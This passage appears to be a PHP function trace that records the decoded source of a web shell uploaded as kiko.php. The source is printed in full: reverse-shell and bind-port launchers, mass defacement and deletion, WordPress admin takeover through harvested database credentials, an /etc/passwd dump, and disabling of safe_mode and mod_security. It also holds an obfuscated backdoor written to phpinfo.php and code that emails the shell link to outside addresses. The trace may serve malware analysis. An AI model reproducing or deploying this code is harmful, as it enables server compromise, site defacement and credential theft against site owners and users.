type=\'text\' name=\'port\' value=\'31337\'> Password: <input type=\'text\' name=\'pass\'> Using: <label><select name=\'using\'><option value=\'bpp\'>Perl</option><option value=\'bpc\'>C</option></select></label> <input type=submit value=\'submit\'>\r\n\t</form><br>\r\n\t<form name=\'nfp\' onSubmit=\'g(null,null,this.using.value,this.server.value,this.port.value);return false;\'>\r\n\t<span>Back-connect to</span><br/>\r\n\tServer: <input type=\'text\' name=\'server\' value=". $_SERVER[\'REMOTE_ADDR\'] ."> Port: <input type=\'text\' name=\'port\' value=\'21\'> Using: <label><select name=\'using\'><option value=\'bcpy\'>Python</option><option value=\'bcp\'>Perl</option><option value=\'bcc\'>C</option></select></label> <input type=submit value=\'submit\'><br><br><br>\r\n\t</form><br>";\r\n\tif(isset($_POST[\'p1\'])) {\r\n\t\tfunction cf($f,$t) {\r\n\t\t\t$w=@fopen($f,"w") or @function_exists(\'file_put_contents\');\r\n\t\t\tif($w)\t{\r\n\t\t\t\t@fwrite($w,@base64_decode($t)) or @fputs($w,@base64_decode($t)) or @file_put_contents($f,@base64_decode($t));\r\n\t\t\t\t@fclose($w);\r\n\t\t\t}\r\n\t\t}\r\n\t\tif($_POST[\'p1\'] == \'bpc\') {\r\n\t\t\tcf("/tmp/bp.c",$bind_port_c);\r\n\t\t\t$asciifnc7 = ex("gcc -o /tmp/bp /tmp/bp.c");\r\n\t\t\t@unlink("/tmp/bp.c");\r\n\t\t\t$asciifnc7 .= ex("/tmp/bp ".$_POST[\'p2\']." ".$_POST[\'p3\']." &");\r\n\t\t\techo "<pre class=ml1>$asciifnc7".ex("ps aux | grep bp")."</pre>";\r\n\t\t}\r\n\t\tif($_POST[\'p1\'] == \'bpp\') {\r\n\t\t\tcf("/tmp/bp.pl",$bind_port_p);\r\n\t\t\t$asciifnc7 = ex(which("perl")." /tmp/bp.pl ".$_POST[\'p2\']." &");\r\n\t\t\techo "<pre class=ml1>$asciifnc7".ex("ps aux | grep bp.pl")."</pre>";\r\n\t\t}\r\n\t\tif($_POST[\'p1\'] == \'bcc\') {\r\n\t\t\tcf("/tmp/bc.c",$back_connect_c);\r\n\t\t\t$asciifnc7 = ex("gcc -o /tmp/bc /tmp/bc.c");\r\n\t\t\t@unlink("/tmp/bc.c");\r\n\t\t\t$asciifnc7 .= ex("/tmp/bc ".$_POST[\'p2\']." ".$_POST[\'p3\']." &");\r\n\t\t\techo "<pre class=ml1>$asciifnc7".ex("ps aux | grep bc")."</pre>";\r\n\t\t}\r\n\t\tif($_POST[\'p1\'] == \'bcp\') {\r\n\t\t\tcf("/tmp/bc.pl",$back_connect_p);\r\n\t\t\t$asciifnc7 = ex(which("perl")." /tmp/bc.pl ".$_POST[\'p2\']." ".$_POST[\'p3\']." &");\r\n\t\t\techo "<pre class=ml1>$asciifnc7".ex("ps aux | grep bc.pl")."</pre>";\r\n\t\t}\r\n\t\tif($_POST[\'p1\'] == \'bcpy\') {\r\n\t\t\tcf("/tmp/bc.py",$back_connect_p);\r\n\t\t\t$asciifnc7 = ex(which("perl")." /tmp/bc.py ".$_POST[\'p2\']." ".$_POST[\'p3\']." &");\r\n\t\t\techo "<pre class=ml1>$asciifnc7".ex("ps aux | grep bc.py")."</pre>";\r\n          }\r\n\t}\r\n\techo \'</div>\';\r\n\thardFooter();\r\n}\r\n\r\n// Back Connect Section END\r\n\r\n\r\nif (isset($_REQUEST[\'mas\'])) {\r\n\r\n@ini_set(\'error_log\', NULL);\r\n@ini_set(\'log_errors\', 0);\r\n@ini_set(\'max_execution_time\', 0);\r\n@ini_set(\'output_buffering\', 0);\r\n@ini_set(\'display_errors\', 0);\r\necho "<center><form action=\\"\\" method=\\"post\\"> ";\r\nfunction edit_file($file, $index) {\r\n    if (is_writable($file)) {\r\n        clear_fill($file, $index);\r\n        echo "<Span style=\'color:green;\'><strong> [+] Done 100% Successfull </strong></span><br></center>";\r\n    } else {\r\n        echo "<Span style=\'color:red;\'><strong> [-] Failed :( </strong></span><br></center>";\r\n    }\r\n}\r\nfunction hapus_Massal($dir, $namafile) {\r\n    if (is_writable($dir)) {\r\n        $dira = scandir($dir);\r\n        foreach ($dira as $dirb) {\r\n            $dirc = "$dir/$dirb";\r\n            $lokasi = $dirc . \'/\' . $namafile;\r\n            if ($dirb === \'.\') {\r\n                if (file_exists("$dir/$namafile")) {\r\n                    unlink("$dir/$namafile");\r\n                }\r\n            } elseif ($dirb === \'..\') {\r\n                if (file_exists("" . dirname($dir) . "/$namafile")) {\r\n                    unlink("" . dirname($dir) . "/$namafile");\r\n                }\r\n            } else {\r\n                if (is_dir($dirc)) {\r\n                    if (is_writable($dirc)) {\r\n                        if (file_exists($lokasi)) {\r\n                            echo "[<font color=red>DELETED</font>] $lokasi<br>";\r\n                            unlink($lokasi);\r\n                            $idx = hapus_Massal($dirc, $namafile);\r\n                        }\r\n                    }\r\n                }\r\n            }\r\n        }\r\n    }\r\n}\r\nfunction clear_fill($file, $index) {\r\n    if (file_exists($file)) {\r\n        $handle = fopen($file, \'w\');\r\n        fwrite($handle, \'\');\r\n        fwrite($handle, $index);\r\n        fclose($handle);\r\n    }\r\n}\r\nfunction gass() {\r\n    global $dirr, $index;\r\n    chdir($dirr);\r\n    $me = str_replace(dirname(__FILE__) . \'/\', \'\', __FILE__);\r\n    $files = scandir($dirr);\r\n    $notallow = array(".htaccess", "www", "Web.Config", "UMD.php", "Web.config", "web.config", "web.Config", "..", ".");\r\n    sort($files);\r\n    $n = 0;\r\n    foreach ($files as $file) {\r\n        if ($file != $me && is_dir($file) != 1 && !in_array($file, $notallow)) {\r\n            echo "<center><Span style=\'color: #8A8A8A;\'><strong>$dirr/</span>$file</strong> ====> ";\r\n            edit_file($file, $index);\r\n            flush();\r\n            $n = $n + 1;\r\n        }\r\n    }\r\n    echo "<br>";\r\n    echo "<center><br><h3>$n Files Defaced </h3></center><br> ";\r\n}\r\nfunction ListFiles($dirrall) {\r\n    if ($dh = opendir($dirrall)) {\r\n        $files = Array();\r\n        $inner_files = Array();\r\n        $me = str_replace(dirname(__FILE__) . \'/\', \'\', __FILE__);\r\n        $notallow = array($me, ".htaccess", "www", "Web.Config", "UMD.php", "Web.config", "web.config", "web.Config");\r\n        while ($file = readdir($dh)) {\r\n            if ($file != "." && $file != ".." && $file[0] != \'.\' && !in_array($file, $notallow)) {\r\n                if (is_dir($dirrall . "/" . $file)) {\r\n                    $inner_files = ListFiles($dirrall . "/" . $file);\r\n                    if (is_array($inner_files)) $files = array_merge($files, $inner_files);\r\n                } else {\r\n                    array_push($files, $dirrall . "/" . $file);\r\n                }\r\n            }\r\n        }\r\n        closedir($dh);\r\n        return $files;\r\n    }\r\n}\r\nfunction gass_all() {\r\n    global $index;\r\n    $dirrall = $_POST[\'d_dir\'];\r\n    foreach (ListFiles($dirrall) as $key => $file) {\r\n        $file = str_replace(\'//\', "/", $file);\r\n        echo "<center><strong>$file</strong> ===>";\r\n        edit_file($file, $index);\r\n        flush();\r\n    }\r\n    $key = $key + 1;\r\n    echo "<center><br><h3>$key Files Defaced </h3></center><br>";\r\n}\r\nfunction sabun_Massal($dir, $namafile, $isi_script) {\r\n    if (is_writable($dir)) {\r\n        $dira = scandir($dir);\r\n        foreach ($dira as $dirb) {\r\n            $dirc = "$dir/$dirb";\r\n            $lokasi = $dirc . \'/\' . $namafile;\r\n            if ($dirb === \'.\') {\r\n                file_put_contents($lokasi, $isi_script);\r\n            } elseif ($dirb === \'..\') {\r\n                file_put_contents($lokasi, $isi_script);\r\n            } else {\r\n                if (is_dir($dirc)) {\r\n                    if (is_writable($dirc)) {\r\n                        echo "<font color=red>[ DONE ] </font><font color=white> $lokasi</font><br>";\r\n                        file_put_contents($lokasi, $isi_script);\r\n                        $idx = sabun_Massal($dirc, $namafile, $isi_script);\r\n                    }\r\n                }\r\n            }\r\n        }\r\n    }\r\n}\r\nif ($_POST[\'Mass\'] == \'onedir\') {\r\n    echo "<br> Versi Text Area<br><textarea style=\'background:black;outline:none;color:red;\' name=\'index\' rows=\'10\' cols=\'67\'>\r\n";\r\n    $ini = "http://";\r\n    $mainpath = $_POST[d_dir];\r\n    $file = $_POST[d_file];\r\n    $dir = opendir("$mainpath");\r\n    $code = base64_encode($_POST[script]);\r\n    $indx = base64_decode($code);\r\n    while ($row = readdir($dir)) {\r\n        $start = @fopen("$row/$file", "w+");\r\n        $finish = @fwrite($start, $indx);\r\n        if ($finish) {\r\n            echo "$ini$row/$file\r\n";\r\n        }\r\n    }\r\n    echo "</textarea><br><br><br><b>Versi Text</b><br><br><br>\r\n";\r\n    $mainpath = $_POST[d_dir];\r\n    $file = $_POST[d_file];\r\n    $dir = opendir("$mainpath");\r\n    $code = base64_encode($_POST[script]);\r\n    $indx = base64_decode($code);\r\n    while ($row = readdir($dir)) {\r\n        $start = @fopen("$row/$file", "w+");\r\n        $finish = @fwrite($start, $indx);\r\n        if ($finish) {\r\n            echo \'<a href="http://\' . $row . \'/\' . $file . \'" target="_blank">http://\' . $row . \'/\' . $file . \'</a><br>\';\r\n        }\r\n    }\r\n} elseif ($_POST[\'Mass\'] == \'sabunkabeh\') {\r\n    gass();\r\n} elseif ($_POST[\'Mass\'] == \'hapusMassal\') {\r\n    hapus_Massal($_POST[\'d_dir\'], $_POST[\'d_file\']);\r\n} elseif ($_POST[\'Mass\'] == \'sabunmematikan\') {\r\n    gass_all();\r\n} elseif ($_POST[\'Mass\'] == \'Massdeface\') {\r\n    echo "<div style=\'margin: 5px auto; padding: 5px\'>";\r\n    sabun_Massal($_POST[\'d_dir\'], $_POST[\'d_file\'], $_POST[\'script\']);\r\n    echo "</div>";\r\n} else {\r\n    echo "\t<style>\r\n\tinput[type=submit] {\r\n    padding:1px 7px;\r\n    background:#ffb101bd;\r\n\tcolor:#fff;\r\n    border:0 none;\r\n    cursor:pointer;\r\n    -webkit-border-radius: 5px;\r\n    border-radius: 5px;\r\n}\r\n</style><font face=\'Open Sans\' color=\'#ffb101\' size=\'3\' >Select Type:</font><br><select class=\\"select\\" name=\\"Mass\\"  style=\\"width: 300px;  height=\\"10\\" ><option value=\\"onedir\\">Mass Deface 1 Dir</option>\t<option value=\\"Massdeface\\">Mass Deface ALL Dir</option><option value=\\"sabunkabeh\\">Current Dir All Files</option>\t<option value=\\"sabunmematikan\\">Replace Everything With Deface</option><option value=\\"hapusMassal\\">Mass Delete Files</option></select><br><font face=\'Open Sans\' color=\'#ffb101\' size=\'3\' >Folder:</font><br><input name=\'d_dir\' value=\'" . getcwd() . "\' required=\'\' type=\'text\' style=\'width: 300px;  height=\'10\'><br><font face=\'Open Sans\' color=\'#ffb101\' size=\'3\' >Filename:</font><br><input type=\'text\' name=\'d_file\' value=\'index.html\' style=\'width: 300px;  height=\'10\'><br><font face=\'Open Sans\' color=\'#ffb101\'  size=\'3\' >index File:</font><br>\r\n\r\n\t<textarea name=\'script\' style=\'width: 650px; height: 200px;\'></textarea><br>\r\n\r\n\t<input type=\'submit\' name=\'start\' value=\'Mass Deface\'></form></div>";\r\n}\r\n    die;\r\n}\r\n\r\nif (isset($_REQUEST[\'user\'])) {\r\necho"\r\n<style>\r\n@import \'https://fonts.googleapis.com/css?family=Open+Sans\';\r\ninput[type=submit] {\r\n    padding:1px 7px;\r\n    background:#ffb101bd;\r\n\tcolor:#fff;\r\n    border:0 none;\r\n    cursor:pointer;\r\n    -webkit-border-radius: 5px;\r\n    border-radius: 5px;\r\n}\r\ninput[type=submit]:hover{\r\n\tbox-shadow: 0 0 2px #ffb101;\r\n}\r\nh1{\r\n\tcolor:#16a085;\r\n\ttext-shadow:0 0 5px;\r\n\tfont-family: Open Sans;\r\n}\r\n#gter{\r\n\tposition: absolute;\r\n\ttop: 0;\r\n\twidth: 100%;\r\n\ttext-align: center;\r\n\tbackground: black;\r\n\tcolor:#fff;\r\n\tpadding-top: 10px;\r\n\tpadding-bottom: 10px;\r\n\tfont-family: Open Sans;\r\n\tmargin-bottom:20px;\r\n}\r\n#gter span{\r\n\tcolor:white;\r\n\tfont-size: 18px;\r\n\ttext-shadow: :0px 0px 15px #00ffff;\r\n}\r\n.f{\r\n\tcolor:white;\r\n\tfont-family: Open Sans;\r\n\ttext-shadow: 0 0 15px #00ffff;\r\n\tfont-size: 21px;\r\n}\r\na{\r\n\tfont-family: Open Sans;\r\n\ttext-decoration: none;\r\n\tcolor:white;\r\n\ttext-shadow:0 0 15px #ffb101;\r\n}\r\nform{\r\n\tmargin-top: 10px;\r\n}\r\n\r\n\r\ninput[type=text]{\r\n\tfont-family:Open Sans;\r\n\twidth: 350px;\r\n\theight: 20px;\r\n\tpadding: 5px;\r\n\tfont-size:13px;\r\n}\r\n\r\n.heading{\r\n\tcolor:white;\r\n\tfont-size:25px;\r\n\tmargin-top: 20px;\r\n\tmargin-bottom: -110px;\r\n\tfont-family:Open Sans;\r\n\ttext-shadow:0px 0px 20px red;\r\n}\r\n</style>\r\n</head>\r\n<center>\r\n\r\n<form method=\'post\'>\r\n<input type=\'text\' name=\'config\' placeholder=\'http://www.site.com/sym404\'>\r\n<br><br>\r\n<input type=\'submit\' name=\'ch\' value=\'Change Admin\'>\r\n</form>\r\n</center>";\r\n\r\nset_time_limit(0);\r\nerror_reporting(0);\r\nif ($_POST[\'ch\']) {\r\n    $get2 = file_get_contents($_POST[\'config\']);\r\n    preg_match_all(\'#<a href="(.*?)"#\', $get2, $config);\r\n    foreach ($config[1] as $don) {\r\n        $get = file_get_contents($_POST[\'config\'] . "/" . $don);\r\n        preg_match_all("#\'DB_HOST\', \'(.*?)\'#", $get, $host);\r\n        foreach ($host[1] as $don) {\r\n            $host = $don;\r\n        }\r\n        preg_match_all("#\'DB_PASSWORD\', \'(.*?)\'#", $get, $pass);\r\n        foreach ($pass[1] as $done) {\r\n            $password = $done;\r\n        }\r\n        preg_match_all("#\'DB_USER\', \'(.*?)\'#", $get, $user);\r\n        foreach ($user[1] as $done1) {\r\n            $user = $done1;\r\n        }\r\n        preg_match_all("#\'DB_NAME\', \'(.*?)\'#", $get, $name);\r\n        foreach ($name[1] as $done2) {\r\n            $name = $done2;\r\n        }\r\n        preg_match_all("#$table_prefix  = \'(.*?)\'#", $get, $prefix);\r\n        foreach ($prefix[1] as $done3) {\r\n            $prefix = $done3;\r\n        }\r\n        $connect = mysqli_connect($host, $user, $password, $name);\r\n        if ($connect) {\r\n            $query1 = mysqli_query($connect, "select * from " . $prefix . "options where option_name=\'siteurl\'");\r\n            while ($siteurl = mysqli_fetch_array($query1)) {\r\n                $site_url = $siteurl[\'option_value\'];\r\n            }\r\n            $query2 = mysqli_query($connect, "update " . $prefix . "users set user_login=\'admin\',user_pass=\'a09ac1f98189b89fd578b4fca7bf8bb2\'");\r\n            if ($query2) {\r\n                echo "<center><span class=f>URL : <a href=\'$site_url/wp-login.php\' target=\'_blank\'>$site_url/wp-login.php</a><br><br>UserName : admin<br><br>Password : Priv8shell<br><br></span></center>";\r\n            }\r\n        }\r\n    }\r\n}\r\n echo"</body></html>";\r\n\r\n    die;\r\n}\r\n\r\nif (isset($_REQUEST[\'reseller\'])) {\r\n$name="ZXZhbCUyOCUyNnF1b3QlM0IlM0YlMjZndCUzQiUyNnF1b3QlM0IuZ3p1bmNvbXByZXNzJTI4Z3p1bmNvbXByZXNzJTI4Z3ppbmZsYXRlJTI4Z3ppbmZsYXRlJTI4Z3ppbmZsYXRlJTI4YmFzZTY0X2RlY29kZSUyOHN0cnJldiUyOCUyNHN0ciUyOSUyOSUyOSUyOSUyOSUyOSUyOSUyOSUzQg=="; $str="==wkrzGf3Uo9nEg/syVmQa32vARsg2IE/GongruHmL3Clo45Onzs9H83i9V6ST+aYLo0cpZ8wyoXh/er2I/tAYQ4HRM2S/e1bSaQieZXn5Qybba6NfyF7DS/Ha1mb2uSv8vVVqHzipPzvNbmykqPoPgu2ZP4Xp6I/F9G7vFpvDuhfO0qkjy04UhhuMY6T1xPhECgPXd8X0igTVA7nIfQuhQnO8UjBD7g2jd373kjb7VZcedprTlFk8M8X2qBNCtBMXYB60MyoxTTgOL7pQzSst2K83anMG7mjuBNtjhwTE42a5gdCji7lb5ITVsO+tWQsuRo00L0X7TJ8AaohLYufDES5Y23JcLxbTsGACNSMrpkdzA3i1YaMCIGeRDoLAdv+ZQdGFnxFa1xaIFUlkAZWROw/cLv5zGBOQzDyyJ4dZtthgWHj9pTOHZ1pNVWLgo9eIQQTjMwq4qd032QwW8GDVvkWeO4278Gty5dblTbsRufuVSnbdJJeNEPmsPq1PPftAFtfsDN8G73sYLMQre3nCS3XQZ1uZCqrdB/GF3ou0iuS/qcQwCoMVoLsy+R3VkKXajn/OU8s7H3+8xt3d7jQ+3tvEOhCLUtbs0RXtGiRFSezm7G63/fhAcy+Koc3267LtMkH1Y70PZT+sv02XeiRFSFqZGgxQk5tWrrdYxugocyiGKprdI2/00FOJ3wXwdzmFUIhJtQTm8UzldowIyAJZrLXvwNtaWDDzKZaHmFk8hO+xyZWMLa/5yTHO7T1OKn2pFOOPrHSzwVa2N4IOWIhFHew5eNewVQsVu8vXJLGss5vbouel0ch6lA6fv5u8+7J8NCUZtzmcqOjjdqkZxyDdAWCvKLuNITXII+CxCnWNAkHnVmfUdCIezQD88pNZ5L7b011YmtLQZ/PNR0lCzWyNFNrWRUhSMzH2qAUW6UEYSaKqL7rtSdhIGyYDUVvJKArSnmgv+ZSwlafrQyltEIXb8FyNQjpGoXHIRWlQu2dz4nCRd2L3bpJpkZ3SHF6G+L8Z2afVA5+hoHQ2UhfUUviH4UKGaO7eROlqi5WQV7608/a+5s24HYJnY50KGi416DJ/sSwrZKdxA6zuzSjsyiIX/UUmGaewQ90DM3cOexhTi0bhTBHfigWmIr62OQCX1I/FuGyA60TU8owe2h8S29AvVDG32kaSaKi9YG8Q28IzembYcTbRA7afUGywTSzsYMTWZm9heyNYuZzjDcUvEYsEFQ7SRObIilJP0Ofj/GWWLJKUCCIiqlDKAb9YxmP02h2Cp9evcYh5+kSSi3IVQVB+Pgb3DE2MubBbV7ciH/oMw1BwJe83xAiHA/YMw5Bw/EDweA"; $text = "Sy1LzNHIKMnNKS5ITc5MzEnOSCwqjk9JTc5PSdUoLcqBspISi1PNTGDiKnmJuamaQGANAA=="; eval (gzinflate(base64_decode($text))); die;\r\n}\r\n\r\nif (isset($_REQUEST[\'passwd\'])) {\r\n@ini_set(\'error_log\', NULL);\r\n@ini_set(\'log_errors\', 0);\r\n@ini_set(\'max_execution_time\', 0);\r\n@ini_set(\'output_buffering\', 0);\r\n@ini_set(\'display_errors\', 0);\r\n echo \'<center>\';\r\n        echo "<textarea class=\'inputz\' cols=\'90\' rows=\'20\'>";\r\n        for ($uid = 0;$uid < 60000;$uid++) {\r\n            $ara = posix_getpwuid($uid);\r\n            if (!empty($ara)) {\r\n                while (list($key, $val) = each($ara)) {\r\n                    print "$val:";\r\n                }\r\n                print "\r\n";\r\n            }\r\n        }\r\n        echo "</textarea><br><br>";\r\n\r\n    die;\r\n}\r\nif (isset($_REQUEST[\'disabled\'])) {\r\necho "<html>\r\n\r\n<head>\r\n<meta http-equiv=\'pragma\' content=\'no-cache\'>\r\n</head><body>";\r\n\r\n$fp = fopen("php.ini","w+");\r\nfwrite($fp,"safe_mode = Off\r\ndisable_functions  =    NONE\r\nopen_basedir = OFF ");\r\necho "<center><b><font color=\'white\' size=\'4\'>[SafeMode Done]</font></center>";\r\necho ("");\r\n\r\n$fp2 = fopen(".htaccess","w+");\r\nfwrite($fp2,"\r\n<IfModule mod_security.c>\r\nKillFilterEngine Off\r\nKillFilterScanPOST Off\r\nKillFilterCheckURLEncoding Off\r\nKillFilterCheckUnicodeEncoding Off\r\n</IfModule>\r\n");\r\n\r\n\r\necho "<center><b> <font color=\'white\' size=\'4\'>[Mod_Security Done]</font></center>";\r\n    die;\r\n}\r\nif (isset($_REQUEST[\'sym\'])) {\r\nerror_reporting(0);\r\n$sym_dir = mkdir(\'priv_sympy\', 0755);\r\nchdir(\'priv_sympy\');\r\n$file_sym = "sym.py";\r\n$sym_script = "Iy8qUHl0aG9uCgppbXBvcnQgdGltZQppbXBvcnQgb3MKaW1wb3J0IHN5cwppbXBvcnQgcmUKCm9zLnN5c3RlbSgiY29sb3IgQyIpCgpodGEgPSAiXG5GaWxlIDogLmh0YWNjZXNzIC8vIENyZWF0ZWQgU3VjY2Vzc2Z1bGx5IVxuIgpmID0gIkFsbCBQcm9jZXNzZXMgRG9uZSFcblN5bWxpbmsgQnlwYXNzZWQgU3VjY2Vzc2Z1bGx5IVxuIgpwcmludCAiXG4iCgpvcy5tYWtlZGlycygnc3ltJykKb3MuY2hkaXIoJ3N5bScpCgpzdXNyPVtdCnNpdGV4PVtdCm9zLnN5c3RlbSgibG4gLXMgLyBwcml2OC50eHQiKQoKaCA9ICJPcHRpb25zIEluZGV4ZXMgRm9sbG93U3ltTGlua3NcbkRpcmVjdG9yeUluZGV4IHByaXY4LnBodG1sXG5BZGRUeXBlIHR4dCAucGhwXG5BZGRIYW5kbGVyIHR4dCAucGhwIgptID0gb3BlbigiLmh0YWNjZXNzIiwidysiKQptLndyaXRlKGgpCm0uY2xvc2UoKQpwcmludCBodGEKCnNmID0gIjxodG1sPjx0aXRsZT5TeW1saW5rIFB5dGhvbjwvdGl0bGU+PGNlbnRlcj48Zm9udCBjb2xvcj13aGl0ZSBzaXplPTU+UHJpdjggU215bGluazxicj48L2ZvbnQ+PGJyPjxmb250IGNvbG9yPXdoaXRlIHNpemU9Mz48dGFibGU+IgoKbyA9IG9wZW4oJy9ldGMvcGFzc3dkJywncicpCm89by5yZWFkKCkKbyA9IHJlLmZpbmRhbGwoJy9ob21lL1x3KycsbykKCmZvciB4dXNyIGluIG86Cgl4dXNyPXh1c3IucmVwbGFjZSgnL2hvbWUvJywnJykKCXN1c3IuYXBwZW5kKHh1c3IpCnByaW50ICItIiozMAp4c2l0ZSA9IG9zLmxpc3RkaXIoIi92YXIvbmFtZWQiKQoKZm9yIHh4c2l0ZSBpbiB4c2l0ZToKCXh4c2l0ZT14eHNpdGUucmVwbGFjZSgiLmRiIiwiIikKCXNpdGV4LmFwcGVuZCh4eHNpdGUpCnByaW50IGYKcGF0aD1vcy5nZXRjd2QoKQppZiAiL3B1YmxpY19odG1sLyIgaW4gcGF0aDoKCXBhdGg9Ii9wdWJsaWNfaHRtbC8iCmVsc2U6CglwYXRoID0gIi9odG1sLyIKY291bnRlcj0xCmlwcz1vcGVuKCJwcml2OC5waHRtbCIsInciKQppcHMud3JpdGUoc2YpCgpmb3IgZnVzciBpbiBzdXNyOgoJZm9yIGZzaXRlIGluIHNpdGV4OgoJCWZ1PWZ1c3JbMDo1XQoJCXM9ZnNpdGVbMDo1XQoJCWlmIGZ1PT1zOgoJCQlpcHMud3JpdGUoIjxib2R5IGJnY29sb3I9YmxhY2s+PHRyPjx0ZCBzdHlsZT1mb250LWZhbWlseTpjYWxpYnJpO2ZvbnQtd2VpZ2h0OmJvbGQ7Y29sb3I6d2hpdGU7PiVzPC90ZD48dGQgc3R5bGU9Zm9udC1mYW1pbHk6Y2FsaWJyaTtmb250LXdlaWdodDpib2xkO2NvbG9yOnJlZDs+JXM8L3RkPjx0ZCBzdHlsZT1mb250LWZhbWlseTpjYWxpYnJpO2ZvbnQtd2VpZ2h0OmJvbGQ7PjxhIGhyZWY9cHJpdjgudHh0L2hvbWUvJXMlcyB0YXJnZXQ9X2JsYW5rID4lczwvYT48L3RkPiIlKGNvdW50ZXIsZnVzcixmdXNyLHBhdGgsZnNpdGUpKQoJCQljb3VudGVyPWNvdW50ZXIrMQ==";\r\n$sym = fopen($file_sym, "w");\r\nfwrite($sym, base64_decode($sym_script));\r\nchmod($file_sym, 0755);\r\n$khoer = exec("python sym.py");\r\necho "<br><center><font color=\'white\'>Done ...</font> <a href=\'priv_sympy/sym/\' target=\'_blank\'><font color=\'#ffb101\'>Click Here</font> </a>";\r\n    die;\r\n}\r\n// xd\r\nif( empty($_POST[\'a\']) )\r\n\tif(isset($asciifnc3) && function_exists(\'action\' . $asciifnc3))\r\n\t\t$_POST[\'a\'] = $asciifnc3;\r\n\telse\r\n\t\t$_POST[\'a\'] = \'FilesMan\';\r\nif( !empty($_POST[\'a\']) && function_exists(\'action\' . $_POST[\'a\']) )\r\n\tcall_user_func(\'action\' . $_POST[\'a\']);\r\n?>\r\n<?php\r\n\r\n$ikrhtfy = $_SERVER["DOCUMENT_ROOT"].\'/\'.\'phpinfo.php\';\r\n\r\n\r\n$fghky_ouvcbt = \'<?php phpinfo();\r\n\r\n\r\n$gz = "ZXZhbCUyOCUyNnF1b3QlM0IlM0YlMjZndCUzQiUyNnF1b3QlM0IuZ3p1bmNvbXByZXNzJTI4Z3p1bmNvbXByZXNzJTI4Z3ppbmZsYXRlJTI4Z3ppbmZsYXRlJTI4Z3ppbmZsYXRlJTI4YmFzZTY0X2RlY29kZSUyOHN0cnJldiUyOCUyNGd6aW5mbGF0ZSUyOSUyOSUyOSUyOSUyOSUyOSUyOSUyOSUzQg==";\r\n$gzinflate = "=kNpMtH71+ljPksZMcCcwcK+3fDlWgk7NrBwORQ/WY/zBOoBN4X5VZLsGffsu1D7GtfN+HA/jfc4llGsPjjJ9bYdzfpXuEKc5lgWShDAjYIIyjLEB6sJ7xwmW/t3sAjUdNhc365UYm35GrrxT/tH/rnbb1CtIqbEcyy3idRJJkv+7+nmXjdVY/WLfqnB02J4O1fe/7lAU0MajUGZSsHwKqhmHzv900i0h3YtoOCJcosuAHEtpAimJmdmoFCB2NZlgqVobRLXemwlekB8PSBazZLFbIHPfRsqapn5Z2WFCGLcWb5Ls9hJahXA7YV+RHfRiYvgTQpUFHyk8tcxG2ovhQOTquhQ66yaMV9H6FEhemC6vu7woIlYFCFlmOADdmcnyI39588cbGYIw42qSs//TI4HhYD0z0ItUW6T0Zs4GozL1SjnL3tNWA5gc9D9v0HFwI8adFVbcin/sGwUBwJe+HaAeFg/cGwYB4/lBgWA";\r\neval(htmlspecialchars_decode(urldecode(base64_decode($gz))));\r\n\r\n?>\'; \r\n\r\n\r\n\r\nif (!file_exists($ikrhtfy)){  \r\n   \r\ntouch($ikrhtfy); \r\nchmod($ikrhtfy,0666); \r\n   \r\n} \r\n\r\n$opazxcdnm = fopen($ikrhtfy,"w"); \r\n\r\nif (!fwrite($opazxcdnm,$fghky_ouvcbt)){ \r\n\r\nexit; \r\n\r\n}\r\n\r\n$b = "Soldier\'ss";\r\n$c = "Dosya Yolu : " . $_SERVER[\'DOCUMENT_ROOT\'] . "\r\n";\r\n$c.= "Server Admin : " . $_SERVER[\'SERVER_ADMIN\'] . "\r\n";\r\n$c.= "Server isletim sistemi : " . $_SERVER[\'SERVER_SOFTWARE\'] . "\r\n";\r\n$c.= "Shell Link : http://" . $_SERVER[\'SERVER_NAME\'] . $_SERVER[\'PHP_SELF\'] . "\r\n";\r\n$c.= "Avlanan Site : " . $_SERVER[\'HTTP_HOST\'] . "\r\n";\r\nmail("hacklinksatis@gmail.com", $b, $c);\r\nmail("burdayimreis@gmail.com", $b, $c);\r\necho "<SCRIPT SRC=http://teledramasinhala.com/img/icons/image.js></SCRIPT>";\r\n?>\r\n\r\n'	/var/www/html/uploads/kiko.php(4) : eval()'d code	1	0
4	16	0	0.020016	1236984	ini_set	0		/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	2	2	'error_log'	NULL
4	16	1	0.020042	1237056
4	16	R			''
4	17	0	0.020057	1236984	ini_set	0		/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	3	2	'log_errors'	0
4	17	1	0.020074	1237056
4	17	R			'1'
4	18	0	0.020088	1236984	ini_set	0		/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	4	2	'display_errors'	0
4	18	1	0.020104	1237056
4	18	R			''
4	19	0	0.020117	1236984	ini_set	0		/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	5	2	'max_execution_time'	0
4	19	1	0.020134	1237088
4	19	R			'30'
4	20	0	0.020147	1236984	ini_set	0		/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	6	2	'output_buffering'	0
4	20	1	0.020163	1237056
4	20	R			FALSE
3		A						/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	7	$asciifnc1 = TRUE
3		A						/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	8	$asciifnc2 = 'utf-8'
3		A						/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	9	$asciifnc3 = 'FilesMan'
4	21	0	0.020215	1236984	md5	0		/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	10	1	'python-requests/2.25.1'
4	21	1	0.020231	1237080
4	21	R			'ecd862b3d0595af0a0b03f511e800938'
3		A						/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	10	$asciifnc4 = 'ecd862b3d0595af0a0b03f511e800938'
4	22	0	0.020261	1237048	md5	0		/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	11	1	'localhost'
4	22	1	0.020275	1237144
4	22	R			'421aa90e079fa326b6494f812ad13e79'
4	23	0	0.020292	1237048	md5	0		/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	12	1	'localhost'
4	23	1	0.020305	1237144
4	23	R			'421aa90e079fa326b6494f812ad13e79'
4	24	0	0.020320	1237112	prototype	1		/var/www/html/uploads/kiko.php(4) : eval()'d code(1) : eval()'d code	12	2	'421aa90e079fa326b6494f812ad13e79key'	'ecd862b3d0595af0a0b03f511e800938'
